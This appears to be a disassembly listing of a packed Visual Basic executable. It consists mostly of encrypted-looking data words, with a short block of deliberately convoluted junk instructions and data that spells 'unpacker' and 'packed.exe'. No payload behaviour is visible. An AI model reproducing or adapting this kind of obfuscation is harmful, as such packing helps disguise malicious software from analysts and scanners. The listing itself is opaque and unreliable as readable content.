		dd 4F3667A8h, 0A8BAE11Dh, 0C0B268E8h, 9C615F83h, 0A472E326h
		dd 6BEh, 0C077ACEEh, 0A5D24B80h, 8BFF227h, 0EF0499F8h
		dd 0B7EC3F91h, 64B4EB34h, 84C9CCBh, 0AFE06097h,	5BBBC97Eh
		dd 9EFFAFC4h, 81CB8268h, 0AB161E39h, 9AFB3866h,	28AA72ACh
		dd 56FF7613h, 0CAFA6A23h, 5D64EC1Eh, 0E95CD303h, 0CBFA4CA6h
		dd 829148Bh, 67F30CF2h,	9EFA9433h, 0A04C61A9h, 7CC8740h
		dd 61000000h, 2E6D8h, 3866D500h, 0B1582FBh, 0B3F154CBh
		dd 898AA5D7h, 0C0F0768Ch, 8670357Dh, 0E5389987h, 55A5AA9Dh
		dd 0AB587434h, 0D34D3530h, 0D8392C83h, 909D83BBh, 0BE53981h
		dd 40BF110Fh, 34639D12h, 2E142A4Bh, 72398190h, 0D98A8080h
		dd 0A0437BDAh, 623B97D0h, 0A87495F0h, 0D14FCB64h, 0E3C9F181h
		dd 0BF3367D0h, 0E46493CDh, 680479B6h, 128EF728h, 0DBE36261h
		dd 3573DABEh, 0FF6DAA44h, 432096D8h, 5D404D2h, 0C2140000h
		dd 61B6366Dh, 84D9BC8h,	0AFEE7E95h, 5587C572h, 8542ADDAh
		dd 0F2217ADAh, 568D1E72h, 3F54C516h, 853271A1h,	6C5268E9h
		dd 343981CCh, 3866BD20h, 0ACEA82FBh, 8BAF55Bh, 85147B15h
		dd 1687CCA0h, 0C8178AC8h, 0A7A04855h, 0E88FF620h, 9A312C02h
		dd 8A256BB5h, 3554EA8Eh, 0F1194EE5h, 874100BCh,	77Ch, 69D8F100h
		dd 0D5000001h, 5CFB3866h, 26AB1D44h, 576FAF26h,	89000005h
		dd 2BB9EE45h, 0CE1EB5E4h, 63E1168Bh, 3848FF32h,	0CD1047D8h
		dd 0A2FD5F00h, 0EA1F775h, 0D1488BD9h, 0BFF422A2h, 0CFF75608h
		dd 3981CCE9h, 66C8B5B9h, 2980D738h, 0A7F67434h,	8D7DD80Ah
		dd 4A7AD562h, 0EED56C96h, 9E618737h, 60FC050Dh,	0F488FD32h
		dd 7D130AA3h, 3F9C811Ch, 67B02107h, 94F76133h, 0F60558EEh
		dd 0DB3B4A1Ch, 0C6EB2F44h, 7687405Dh, 0Dh, 0DED8FBh, 0D8D50000h
		dd 0D8h, 568799D5h, 820CF208h, 0FA943367h, 0B397D548h
		dd 83EEE99h, 33678122h,	0F3528C7Eh, 0D7B3EA2Dh,	0C10A90B6h
		dd 0E496357Dh, 0DA558799h, 0AAC5477Eh, 0BF8FACA9h, 99944E1Ch
		dd 900F4F26h, 0C54DFFADh, 8DE40CBDh, 0D6EC0D3Bh, 3375E3F0h
		dd 0A842C6B0h, 0BB17993Eh, 7AEB269Ch, 4795Ch, 0C867AB00h
		dd 97064D9Bh, 70ADE060h, 0D95485C3h, 0A1FA5AAAh, 712EEF72h
		dd 9578C1Fh, 0AD3B68C3h, 4484336Ah, 0B46A9916h,	0CDC7ADD5h
		dd 53DB3981h, 9D98AEEh,	0F26AC517h, 3367820Ch, 3838F894h
		dd 683C4C7Ah, 60818C3Eh, 5AC35CBCh, 0B1A2A2Eh, 0B7357443h
		dd 0D80AA9E9h, 336EA37Dh, 0BCC1A284h, 8DCD397Bh, 0A3E93716h
		dd 0C469DC08h, 3D7B2581h, 2F62E255h, 0FF4B8BF2h, 46000003h
		dd 854AA999h, 0EB3581CAh, 501075A4h, 7F282226h,	63E9117Ch
		dd 0FF357EA4h, 0BE1C000Dh, 8B289D63h, 6F99A4BDh, 3D6EDAEBh
		dd 3D6FC412h, 250B3350h, 7D398235h, 0DC7B0881h,	8F3994BFh
		dd 0F545628Bh, 0BE67D855h, 379AE0A3h, 41C183FAh, 8DEE9041h
		dd 4380723Bh, 269CADB7h, 9F3CDA4Bh, 0C1000003h,	63E1168Dh
		dd 646FD2Ch, 0DB295ED3h, 70F0277Ah, 15588F20h, 0EA4597C8h
		dd 0B6E92FBDh, 1990C301h, 0E73C9AEAh, 87BF9EB0h, 3981CEA1h
		dd 8A800DE1h, 437BDAD9h, 357DC0C9h, 7F659DBAh, 33981C2h
		dd 493BF151h, 0AD0250CCh, 0BA8F676h, 6DBE120Ah,	0B9C848F8h
		dd 1D033B58h, 653981C2h, 74CA5B8Bh, 0EDA922Eh, 4447F00Ah
		dd 83BBD8F9h, 3981E59Dh, 0F70F0BE5h, 3B9823E0h,	7495F062h
		dd 4F3768A8h, 3367DC69h, 0A2CB4F39h, 0FD851C7Ah, 138AC16Eh
		dd 810E95E3h, 72A02057h, 0AFD8483Dh, 8C7212AEh,	3666E566h
		dd 0C6CE0A80h, 6DE81A7Ch, 73C62855h, 0DB78EA35h, 2096F965h
		dd 0DF8E4CB9h, 1000002h, 0A32156CDh, 46863D6Ch,	1B699E13h
		dd 0B03067BAh, 5598CF60h, 2A85D788h, 0F6296FFDh, 59D00341h
		dd 277CDA2Ah, 477FDEF0h, 3981CF61h, 9940CD21h, 7FDB5687h
		dd 4B3271A1h, 0F94CE535h, 0B5D95104h, 0D448FF29h, 0A5DDB8BBh
		dd 3573F694h, 69E14436h, 397BF587h, 666DC155h, 8D54A349h
		dd 41F3h, 0D98A6600h, 130AA7F6h, 20262751h, 35738F5Bh
		dd 1A90F567h, 397B8F38h, 0A39A1344h, 311487CDh,	1B56E84Ah
		dd 0D2B89687h, 9E1B50A7h, 0F549ED55h, 5480C1EEh, 0FB5ECE8Dh
		dd 858DBFA6h, 0B9D1h, 38664400h, 362F82D7h, 9A6F40Ah, 6EAE7EDFh
		dd 502C553Dh, 0E63AD00h, 0A0E40239h, 21710F76h,	863069AEh
		dd 1291C19Fh, 71ACED33h, 3F45C0Ch, 67A7EF23h, 0E03F9F33h
		dd 4EE535B3h, 393A55D7h, 0CC15265Ch, 0DBB53573h, 8487B0ACh
		dd 293881B9h, 0A85A3B85h, 8E2173ADh, 56C90B59h,	0A8787131h
		dd 9240B526h, 1D6h, 386FC416h, 9DCA63A8h, 60970A4Fh, 0C77CB1E0h
		dd 0AFC457B9h, 7CDC834Ch, 2074F423h, 0C708588Fh, 73A32156h
		dd 76D7873Ch, 81D06A50h, 0B33E3639h, 0D9508799h, 1E6DAF79h
		dd 3D3460B9h, 42078DCDh, 0EE7E95C7h, 0A1273B0h,	91EF56CBh
		dd 0D5BDEF3Eh, 0D98AB162h, 7E437BDAh, 0F735738Fh, 0C949E429h
		dd 0D7468D53h, 9D80326Eh, 7B8F4325h, 0E3000939h, 7B8FF5DBh
		dd 77D38D39h, 3B707BD3h, 0FD8D5421h, 0B5h, 0FB386670h
		dd 71AAEA82h, 56C70814h, 0F26BC408h, 22B3D2B6h,	0BD7FFD4h
		dd 96F273D8h, 67883A6Eh, 1F94C233h, 0C93A98E8h,	5B352883h
		dd 0F674A6F9h, 64D90BA8h, 0CD484BE4h, 73ACA4B5h, 0A4BD535h
		dd 8F79B397h, 0E63B9E8Eh, 0F245CD7Fh, 6FEEED9Eh, 5DC05BB1h
		dd 225CD303h, 53FF0726h, 373B8547h, 0F424F845h,	9CFC0CBBh
		dd 975AC403h, 79EC26A8h, 0DD59h, 54CB0F00h, 336AA13Fh
		dd 9C114484h, 65B81967h, 0CD5EBECEh, 0D58A4B96h, 6DFB2883h
		dd 15FF427h, 0D8285FCEh, 0D08E257Ah, 0D1634971h, 373F3981h
		dd 0E536664Ah, 0DF508498h, 0E95E3A66h, 4FE43B9Bh, 0FB386662h
		dd 0A4ACEA82h, 6781B89Eh, 0EC1EC833h, 85AAC5B7h, 0E07ADA53h
		dd 394BFFFCh, 0CAF05D8Fh, 357DD6B7h, 4EBC994Bh,	7FD02260h
		dd 221FFE2Eh, 700C351Dh, 16568D22h, 7CF26BC8h, 83B9550Ah
		dd 0DDE5026Bh, 7C4AA4F7h, 63DA5587h, 5D25D721h,	3664A5B9h
		dd 806BA8FBh, 0D80AE75Ah, 1C7AA2ABh, 35658387h,	392C7DD2h
		dd 6B066909h, 0AFD911BDh, 2574087Dh, 9C069588h,	0C45BBBCAh
		dd 8E0151AFh, 3B69DC4Dh, 13469489h, 4B000000h, 0C8091786h
		dd 6F991479h, 0F93266F6h, 41DC314Fh, 346674C1h,	0A8F686FFh
		dd 197A120Bh, 8DC39D80h, 3552B12h, 79DBB5A8h, 0F0213F26h
		dd 61B4C8BDh, 0D00759CCh, 68B3E459h, 5B8Fh
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	41C8h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4B48653Ch
		mov	eax, 0BAD1DCF6h
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, eax
		mov	[edx+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		db 4Dh
		dd 238199BCh, 6BB88F86h, 3061A51h, 0BE0FFC5h, 2F7E774Dh
		dd 15231E55h, 4F240973h, 8327F617h, 19055F45h, 0C2157FBh
		dd 4941DDE8h, 0B21ACC94h, 4C6BC1C6h, 0C3162643h, 9D12155Eh
		dd 6F4EF53Fh, 8C52A79Fh, 910840AAh, 365940CCh, 0FC4B897Ah
		dd 3552AE7h, 8D6B2EAEh,	1A52E68Dh, 89D1B706h, 142B698Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 5E4B90Dh, 0C7633CF0h, 14105585h,	6D7806h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0FF811DACh, 12FDBD8Bh, 85C70614h, 614013Dh
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0A5C35141h
		dd 8248D4B4h, 94DDF7A8h, 80DB5FFh, 0BD890614h, 6140DFDh
		dd 0BD995FFh, 81660614h, 6A9AACDFh, 7195FF00h, 8B061429h
		dd 0FA78EBC0h, 0F61BCE30h, 2EC3C74Ch, 0A0648069h, 961BAEC4h
		dd 2536D869h, 21A966F6h, 0A525EFB5h, 0E07B8D15h, 0AC84D7DDh
		dd 2D50EA48h, 95145223h, 180B0A37h, 0CC87BEEEh,	0C41E5F50h
		dd 6388631Ch, 993E69D4h, 1D424CA3h, 7961CAC7h, 50A3BD68h
		dd 0D761808Ch, 0A32C2638h, 59E76E71h, 6C64FC31h, 6D3BA0C1h
		dd 0B5F5EF05h, 7EBC3C5Bh, 0C45F566Eh, 8ED8D18Fh, 7625B61Bh
		dd 8D645950h, 1A54068Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 5BAF5AA0h, 898C9D4Eh
		dd 1415519Dh, 698D8906h, 0B806142Bh, 48C32B28h,	105585C7h
		dd 58E40614h, 60520000h, 8C0FDCB4h, 0
		dd 85C75E61h, 614013Dh,	0
		dd 6E9h, 80E8CD00h, 0FF79C5ADh,	1404B1B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 7B2A9B04h, 8BFA71B7h, 140AE59Dh, 0D995FF06h,	6606140Bh
		dd 6A3D64BEh, 7195FF00h, 8B061429h, 657CEBC0h, 76DE8A23h
		dd 927E18BBh, 7D83D3C8h, 3B9CFB63h, 0C0D46CA9h,	3D65FCC0h
		dd 995766CCh, 483CA71Ah, 0B1B6DF9Ah, 652B610Ch,	0FC4550B2h
		dd 307FC7B8h, 24EF4E9Dh, 0DCDFC059h, 0A99E8C06h, 0A0B61C09h
		dd 461E11E6h, 39688575h, 35EDA838h, 91656871h, 0F9EB58CDh
		dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 4D4B967Dh, 2EDF82C9h
		dd 0DA59EE4Dh, 51C5152Dh, 11E7F684h, 0FB6A5A2Dh, 0E8392BA5h
		dd 11h,	34CFD25Eh, 655C1E67h, 24ADF95Dh, 41107FE7h, 0E1E381D3h
		dd 5E3587BEh, 0C681FE8Bh, 5B0Eh, 85335760h, 6140F31h, 0DC09B95Bh
		dd 33610A9Ch, 0AD9D89C9h, 8B06141Eh, 9D030E14h,	6141F49h
		dd 9B68C281h, 0CE90925h, 0DF000000h, 0E270AD8Dh, 3898B35Bh
		dd 810ACC81h, 54F988EAh, 0E27ABB19h, 0F2816D8Fh, 37141FCEh
		dd 0E6DBD31h, 0F520614h, 68Ah, 399D2900h, 8F061430h, 858B0E04h
		dd 61423B9h, 83C0BF0Fh,	0E28A04E9h, 0A5B0F981h,	850FFFFFh
		dd 18h,	23E9DF8Bh, 0D1000000h, 0EB15F3BFh, 0BA12D944h
		dd 0B5AA0CE4h, 0BB880B1Ah, 29698D89h, 7CE90614h, 3AFFFFFFh
		dd 0A2DFE6B6h, 5EE98D19h, 0E7000001h, 0DD0CA985h, 437C8360h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		align 4
		dd 1B3DE900h, 0AC680000h, 0E9061A58h, 0FFFA2A20h, 1A59A968h
		dd 2A16E906h, 0A468FFFAh, 0E9061A5Ah, 0FFFA2A0Ch, 1A5B7868h
		dd 2A02E906h, 0B768FFFAh, 0E9061A5Bh, 0FFFA29F8h, 1A5C6C68h
		dd 29EEE906h, 0BF68FFFAh, 0E9061A5Ch, 0FFFA29E4h, 1A5D0668h
		dd 29DAE906h, 0A868FFFAh, 0E9061A64h, 0FFFA29D0h, 1A656768h
		dd 29C6E906h, 1268FFFAh, 0E9061A66h, 0FFFA29BCh, 1A66C968h
		dd 29B2E906h, 3C68FFFAh, 0E9061A67h, 0FFFA29A8h, 1A681368h
		dd 299EE906h, 0B568FFFAh, 0E9061A68h, 0FFFA2994h, 1A695D68h
		dd 298AE906h, 2068FFFAh, 0E9061A6Fh, 0FFFA2980h, 1A6FF468h
		dd 2976E906h, 8E68FFFAh, 0E9061A70h, 0FFFA296Ch, 74B8F313h
		dd 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh, 171B96B5h, 0F312A094h
		dd 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh, 0FF422FF3h, 0EAC583BEh
		dd 70F30055h, 94A4D7E9h, 6778E230h, 79063665h, 0B0D05447h
		dd 97102B51h, 49DC63DBh, 8CBFF86Bh, 755E483h, 0ADE8E403h
		dd 8FFB399Dh, 0B32738Bh, 0E955E483h, 25CB076Eh,	0B18BA89Ah
		dd 3Fh,	1B61807Fh, 346799E0h, 31728004h, 0DC6C66F4h, 0E04DB849h
		dd 55E49C51h, 0DA489CD2h, 0FF3C1863h, 252959DBh, 47A99415h
		dd 504B55E4h, 8880FB09h, 1279060Ch, 0A9621AC0h,	0D5A48Bh
		dd 67700000h, 46053665h, 0F8C44E4Bh, 0BFCE6867h, 0D1AEDEC2h
		dd 0FF4AEBAFh, 7453F092h, 83DCEC10h, 47060A81h,	53F0972Ch
		dd 0B9881580h, 3A53F097h, 0FD0FDC56h, 0EB1D8A8Eh, 0C5C49BB0h
		dd 27A4AC8h, 396695E3h,	49DC7F1Dh, 166EB296h, 1F8A81F7h
		dd 8F3003ACh, 0CFB355E4h, 0D7274845h, 0F98F4FCBh, 8415083Ch
		dd 671E2CBBh, 45CFF357h, 5B22593Dh, 0C044742Fh,	0DBEA7132h
		dd 772DD454h, 89AD66F6h, 0B6EB1A85h, 3661571h, 6D3FAF63h
		dd 18A4h, 3CC0BBCBh, 27EBA2A3h,	0C108DB8h, 0FA3E7593h
		dd 0DF235E6Dh, 0BBCA785Ch, 0A8A542C6h, 92BE29EDh, 72941317h
		dd 279AF73Bh, 0EACA4B86h, 18BC855h, 0F1356867h,	22595476h
		dd 5A72295Bh, 806828FEh, 0B054E9CBh, 807CB662h,	0AFDEE061h
		dd 0CEBFC09Fh, 1A7586AAh, 0C64C4743h, 0DC6C47D7h, 84B49849h
		dd 0E49C1A25h, 960B3A55h, 0B2ED1966h, 0B7DE3D9Ah, 80977673h
		dd 0A89AAC72h, 52730A8Bh, 2B5C235Bh, 0DAFE5A72h, 0B3413C4Dh
		dd 0A930h, 6567FC00h, 0DC6F5321h, 789DAFFCh, 0F024C271h
		dd 0D9FD4153h, 0F2AFDEA1h, 21305BDAh, 768853F0h, 62640307h
		dd 5AAB132Bh, 0D7FBB6D5h, 0C0DF7BA4h, 481749DCh, 0CF4B433Ah
		dd 40C073BCh, 0FF4355E4h, 0C549CD35h, 0E09BB7B6h, 3D4B9A12h
		dd 255DA10Eh, 72D64FCBh, 382D0B59h, 7386228Eh, 484706A1h
		dd 3756D155h, 0A563B57Ah, 0AD1D6301h, 17A79Fh, 0C3BECE00h
		dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh,	0CD755FDCh
		dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 0CBB2812Eh
		dd 823155EAh, 3568671Eh, 595476F1h, 65671FD5h, 92B58421h
		dd 4ACE53F0h, 37491626h, 21C0C044h, 0AF87205Bh,	0C049DC92h
		dd 917FCA6Bh, 72B355E4h, 55E491C7h, 8084F85Ch, 72CD6C9Ch
		dd 9055E491h, 0F9B4D2A9h, 1792BEC1h, 335A21F3h,	0A88BF927h
		dd 0D7858Bh, 8B130000h,	92AC9F18h, 0BA8553F0h, 50772FA8h
		dd 3CF65A2Eh, 58A95F16h, 4301E0DEh, 1A3E1F9Fh, 0D9F776E1h
		dd 116550A2h, 2A49DC4Dh, 0A556D726h, 2014FE4h, 396695E3h
		dd 937299E9h, 0B1EC1D6Ah, 0E1193D99h, 0E8E76879h, 0F7A91B5h
		dd 339093AEh, 0E62C10B3h, 19E358C5h, 0E86CA91Ch, 37A8CD3h
		dd 0D45E60FFh, 0B8CEFEB7h, 912B9A88h, 244811h, 5326B7FFh
		dd 0DBE94188h, 16ACh, 44C8C3C3h, 2FF3AADBh, 141895B0h
		dd 2067D8Bh, 0E72B6665h, 0C3C27064h, 0B0DD4ACEh, 9AB631F5h
		dd 7A8C1B1Fh, 2F92FF03h, 0EAC8B38Eh, 19833055h,	0DAD3F48Bh
		dd 3FEC26A2h, 0F66E9E0Dh, 1A297617h, 9953F092h,	3747424Eh
		dd 139CAFD3h, 53F09220h, 80BBDFA3h, 0DC930F27h,	58DCA049h
		dd 0A1571E9Ah, 78073440h, 0C93A524Bh, 0F092DD6Ch, 0CEF25653h
		dd 0C83A7B44h, 4149DC6Bh, 6E2F0CFDh, 0CDCCDD91h, 1A91B33Ch
		dd 8EB966E2h, 53DCEF13h, 0C4E14C03h, 98483DCh, 7597D6E5h
		dd 48B00C06h, 7FB8D3B9h, 0DA8E2BC6h, 2712930Eh,	1ECA983Bh
		dd 0BE536370h, 5097DE3h, 6497FB0Fh, 64A8E3E5h, 2E294117h
		dd 9D454C1Ah, 0D7C6F897h, 0C5241250h, 0AC7EEED5h, 15D8h
		dd 78BCEF1Fh, 6BAFDEEFh, 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h
		dd 7068CA0h, 0EC19868Ah, 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h
		dd 0EAC9FF4Ah, 0D5DF7455h, 0F1366567h, 6F2D9EBDh, 99C5D747h
		dd 0D0000015h, 0AE39FDB0h, 831CE09Dh, 9E090D88h, 76F13570h
		dd 55D65A57h, 0F9B4D363h, 0E09DAA35h, 0C87831Ch, 3E6D9F08h
		dd 832C9FFAh, 55EAC9B0h, 671C8033h, 95063665h, 924EFD3Ah
		dd 41C553F0h, 9EEAFBB3h, 0A0F21E6Dh, 0F0923407h, 0A7CB4F53h
		dd 74E7526Dh, 0F092182Bh, 7DB79B53h, 0DC663A70h, 0D3573B49h
		dd 0BE4F992Dh, 274B1CAh, 1B4FC878h, 146BC637h, 7B7AB8F5h
		dd 3361C016h, 0CBC0B455h, 0C9C3C6Ah, 3A5135E1h,	0AB692423h
		dd 0C442A31Bh, 1F0E385Bh, 0A9DB4453h, 5A7EDAF2h, 72BF8421h
		dd 4C30E73Bh, 6F1E203Fh, 930A3CABh, 31BC628Ch, 9CAE1EBAh
		dd 14E4h, 7C80FB0Bh, 67ABE2E3h,	4CD0CDF8h, 3AFEB5D3h, 1FE39EADh
		dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh
		dd 0EACE8B46h, 0C1CB0855h, 0F0928AB9h, 62C17C53h, 3F53F0h
		dd 0FE53F072h, 53F0B24Fh, 0E92E5D6Fh, 6F2D7EC9h, 91390B63h
		dd 0D8000014h, 0B631F5A8h, 8B141895h, 66010580h, 7EE92D68h
		dd 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h, 36656700h
		dd 0FB2487F2h, 55EACE48h, 800488CBh, 47E01B61h,	49DC61CFh
		dd 0C5DB5C20h, 5B69198Bh, 144AD1E3h, 61610000h,	4C7DEA2Eh
		dd 3752CD51h, 1B29B67Ah, 4039C60h, 0D2068589h, 0E4286564h
		dd 0D3574E7Bh, 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EACFh
		dd 6567BB7Dh, 47790636h, 0AB442454h, 88E83644h,	20F68594h
		dd 22000000h, 0F09286B9h, 0E9A4A653h, 0C3DD82D2h, 0F458B388h
		dd 8D337A3Eh, 56531B16h, 13E61426h, 67820000h, 9E063665h
		dd 9702394Fh, 0CBC3BAC8h, 86C8C54Fh, 2849DC91h,	0B77D3051h
		dd 9D1834B3h, 8EC6B579h, 9A420363h, 0FDB143ADh,	0F06398ECh
		dd 48D6D960h, 7EB48FF3h, 0C831937Fh, 3E4B944Fh,	0AFD33747h
		dd 0DFC5C09Fh, 0CF0E7F80h, 5FD8F97Ch, 5C6F93F7h, 8981FC0Dh
		dd 0A53070Dh, 5FD8F930h, 78BCF112h, 9FAFDEEFh, 75305D2Ch
		dd 0AEDFE0BFh, 0CBC6C19Eh, 0E5A0ACB3h, 6C8372D5h, 4CA3D0A6h
		dd 7D8AD1h, 3E7F8C08h, 5FD8F903h, 0D976BC80h, 8531F5A8h
		dd 91BCF757h, 27D67h, 5375F400h, 305F2058h, 51DB597Dh
		dd 0E01B6180h, 0DC7C9F47h, 7BA41749h, 55E48CC8h, 5F2C354Bh
		dd 0D075097Dh, 3E0266ACh, 0FD9E770Dh, 5D5906B7h, 7788D7D7h
		dd 64650206h, 0AD901129h, 0A655E4D2h, 0C2C30269h, 9AA9B0CBh
		dd 91B5F01Ch, 3A0B1D79h, 5C449396h, 0B1D18193h,	96172450h
		dd 4FC81674h, 1E6199FDh, 453849EFh, 4342DD21h, 42FF3E4Eh
		dd 455FD818h, 0A5A4E30Ah, 8D5C24E8h, 18FC4FE8h,	13775FD8h
		dd 2353DCEFh, 7B45F4E0h, 9CACE9E4h, 0A7CBC2C3h,	1A31156Dh
		dd 3330EAFh, 0CCB041CCh, 3C37EBFh, 0FC4041CCh, 0D7E97636h
		dd 4E7E2D5Fh, 3E150DDh,	1E6241CCh, 0D552D6FAh, 0BCC3F8B3h
		dd 9CF8108Dh, 0A4971696h, 0BF41CC03h, 0B8CAF910h, 0A5A641C5h
		dd 7A8CD3E8h, 858F0B03h, 9A252639h, 2321D88Ah, 3E4E72E5h
		dd 0B9C89788h, 629A113Fh, 442CC2E6h, 99AA176Fh,	3D543BF9h
		dd 8B80FD0Eh, 0A2DAD3F4h, 0D4C7F926h, 26D220A4h, 0BEFB1655h
		dd 0CC469474h, 0CF5097D0h, 0E5000000h, 1C2C6966h, 67F07AB8h
		dd 7A053568h, 0F026564Bh, 0EE1D2C43h, 802D98B3h, 53F092B1h
		dd 1994B532h, 0B34165E1h, 8885AB07h, 9F118594h,	9F000000h
		dd 5366567h, 635AC24Fh,	7F814DA3h, 9A2AE80Ch, 563AC3C5h
		dd 8EDE45A8h, 2E265579h, 0D9EBE643h, 0D8684CA2h, 15C3E331h
		dd 219C8FE6h, 0F013B584h, 0DD4ACE53h, 6D22F0ABh, 70DC205Bh
		dd 85950AAAh, 5934h, 6180E000h,	3747E01Bh, 0C849DC6Ah
		dd 5BC43744h, 55E49AE8h, 0FBCFBEC0h, 0D30A8197h, 1CBBC5BFh
		dd 0CA259616h, 0E4F0DE6Dh, 23F15555h, 0E4F08BB2h, 0E39AAB55h
		dd 387594EBh, 52B9D600h, 33AE9DC8h, 0E4F047F2h,	0AF78DC55h
		dd 75D1E9A4h, 0B9B9D0BFh, 8BA8EA73h, 9503h, 6180A900h
		dd 2875E01Bh, 53F09219h, 437CB69Ah, 0DC9064E2h,	82B99D49h
		dd 5DD7CEFBh, 0B0ED1E61h, 0DBD2F36Ch, 0F2ABDCA3h, 88EF2CDAh
		dd 4EFD3A95h, 0C555E490h, 0EB1CB341h, 1CC26EB2h, 0BA8BA88Fh
		dd 42h,	18648076h, 34719CE3h, 0B160CDFEh, 0B2D3F092h, 3E4DBECEh
		dd 0E1659510h, 939BA213h, 9443D3F0h, 315DA97Dh,	0F33CAF1Ah
		dd 0D3F09340h, 38B57FC3h, 53F09369h, 0E9A266EAh, 0F43E7392h
		dd 116Ah, 4C2A8000h, 0F9000000h, 132B6662h, 22463F4Ch
		dd 6C676ED0h, 45461931h, 0E31B92B3h, 0CCBF4367h, 7DC62EB4h
		dd 9F919536h, 16934F32h, 10CF45A8h, 168EBEEFh, 298880F8h
		dd 53F0D117h, 33BEB6F5h, 907492BAh, 69806FA5h, 94D5C369h
		dd 0BEBD385h, 80D90000h, 43E21A6Eh, 0CC4B4779h,	0B2D1A893h
		dd 3F5635FFh, 3FBDED33h, 2A890Fh, 80270000h, 76E11A6Eh
		dd 0F0921A29h, 7FB59953h, 9250E34Ch, 6FD353F0h,	0ACC1DE5Fh
		dd 0EC6B2C7Ch, 59A77585h, 0BC372F08h, 0FD000002h, 0A00D6E80h
		dd 53F09291h, 480A2E12h, 6567442Eh, 4A460536h, 4943C54Fh
		dd 80965463h, 0B9C08894h, 63E7178Ah, 0A088584h,	4779h
		dd 6E80B700h, 6E7F4BE8h, 0C8EC5BB7h, 54E740B3h,	4D53F027h
		dd 9DCAD961h, 12764A34h, 2A8B1E00h, 53F09210h, 8B3FB599h
		dd 316C67A1h, 8B604AA3h, 2EF00DFDh, 7BB98FF8h, 38E9h, 0E243BE00h
		dd 53F04B57h, 0A0AA68ECh, 581A6E80h, 92102A8Bh,	7FD353F0h
		dd 8BA18BF5h, 0DB52CFDh, 34FE96AFh, 61C36C67h, 0D146CA5Ah
		dd 3544F730h, 7BDF53F0h, 4AA13357h, 4543B960h, 6C9B05B7h
		dd 5072ED31h, 4D7C8B5Dh, 3F419E50h, 22233C4Ch, 440B536Bh
		dd 729DE52Dh, 4B79001Bh, 56DC3850h, 251487B9h, 63F5A8DAh
		dd 90BFDADDh, 45384A79h, 5CF85F4h, 17912E18h, 0ED1FCC46h
		dd 3F4F4A45h, 0E2205129h, 0B9DDDB7Ch, 504C395h,	4F6691ADh
		dd 0A0361A82h, 0B9749BC4h, 0C48577ABh, 113314Ah, 96B7384Ah
		dd 58B3FDDh, 0D7DAFC38h, 0C7EB833Ch, 0F4136AA3h, 3E4E4342h
		dd 403B4DDAh, 0A9BF2C5Ch, 3061CDD0h, 0B7E618A1h, 151F0387h
		dd 7312413Fh, 0A3DEED1Ch, 0FDB0D1A8h, 0E2E48337h, 0D7F635ABh
		dd 15E6B7CDh, 289049CFh, 55DFCEFFh, 4F2CE658h, 0D0EB6F82h
		dd 0FDF07D89h, 97615457h, 62E6163Ah, 1119BA8Ch,	0BA78BB39h
		dd 0D83FD0ACh, 0AC6E0F45h, 4A7C9B47h, 0BAF113C8h, 7B89D043h
		dd 2B5DF200h, 0B7CDFE70h, 66E861CBh, 0DF75BF96h, 0B74944D5h
		dd 6DE9E19Ch, 1F2E3149h, 0EED6A62h, 8BF623E7h, 48434118h
		dd 0A695D430h, 3D824F53h, 0DD34DB59h, 7EF69CAEh, 0C505252Eh
		dd 66D514B2h, 0FD824F77h, 79847599h, 0D8CFA647h, 30E2F366h
		dd 7E8D5A0Ch, 9639AD03h, 4F3E407Fh, 65673AFEh, 4E4F0536h
		dd 6187E775h, 0DADD6CC9h, 0F25653F0h, 8BC244CEh, 92AC9F18h
		dd 0FC8553F0h, 936FED35h, 0D946CABEh, 2220F2ADh, 186480B0h
		dd 5463495Ah, 88948096h, 3C00h,	6480AC00h, 188B5A18h, 923100ADh
		dd 0A8F553F0h, 53F09299h, 0FE42361Ah, 9285B934h, 0A0E53F0h
		dd 0D9F48B48h, 0AC3B992Eh, 0A1C5FA24h, 0C4E72DA9h, 376667D0h
		dd 2A604ABDh, 42h, 18648040h, 102A8B5Ah, 0D353F092h, 927CCF68h
		dd 0E55553F0h, 30854691h, 62A2E62h, 48188B4Ch, 0D8BB9498h
		dd 3050FDAh, 0BFCC6667h, 0D552B6C6h, 48CCFCB7h,	7BA41724h
		dd 53F092C8h, 0CB4DC74Bh, 0B3B9604Ah, 8B53F063h, 0D0CDF87Ah
		dd 0EF385CB8h, 0D684A8E3h, 0FFFFFD0Bh, 1E2D8AE5h, 9553F083h
